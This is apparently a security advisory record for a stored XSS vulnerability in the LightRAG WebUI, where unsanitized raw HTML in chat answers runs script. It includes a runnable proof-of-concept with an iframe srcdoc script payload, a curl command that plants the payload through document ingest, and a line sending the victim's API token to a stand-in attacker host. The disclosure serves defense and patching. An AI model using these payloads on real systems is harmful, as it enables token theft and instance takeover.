{"id":"CVE-2026-86062","aliases":["GHSA-xpjq-3w4w-w5wr","PYSEC-2026-4065"],"url":"https://o3.security/vulnerability/CVE-2026-86062","summary":"LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content","details":"### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n  mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `<img src>` (arbitrary\n  external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `<img onerror>` is dropped), but raw\nelements such as `<iframe srcdoc=\"…\">` and `<svg><script>` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `<ReactMarkdown>` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check && cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `<iframe srcdoc=\"<script>` +\n  `var h=parent.document.createElement('h1');h.style.color='red';` +\n  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n  `<\\/script>\"></iframe>`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);\nconsole.log(body);   // note the LIVE <iframe srcDoc=\"...\"> — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `<script>`, `<svg><script>`, and\n`<iframe srcdoc>` survive rendering; `<img onerror>` and `javascript:` links are neutralized by React /\nreact-markdown, so `<iframe srcdoc>` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"text\":\"<iframe srcdoc=\\\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\\\"></iframe>\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.","published":"2026-09-22T16:21:43.846Z","modified":"2026-10-21T03:00:31.957057653Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"lightrag-hku","fixedVersion":"1.5.5"}],"fix":{"url":"https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953","label":"HKUDS/LightRAG@8bf032a"},"references":[{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86062.json"},{"type":"ADVISORY","url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86062"},{"type":"FIX","url":"https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"},{"type":"FIX","url":"https://github.com/HKUDS/LightRAG/pull/3437"},{"type":"PACKAGE","url":"https://github.com/HKUDS/LightRAG"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T03:00:31.957057653Z"}}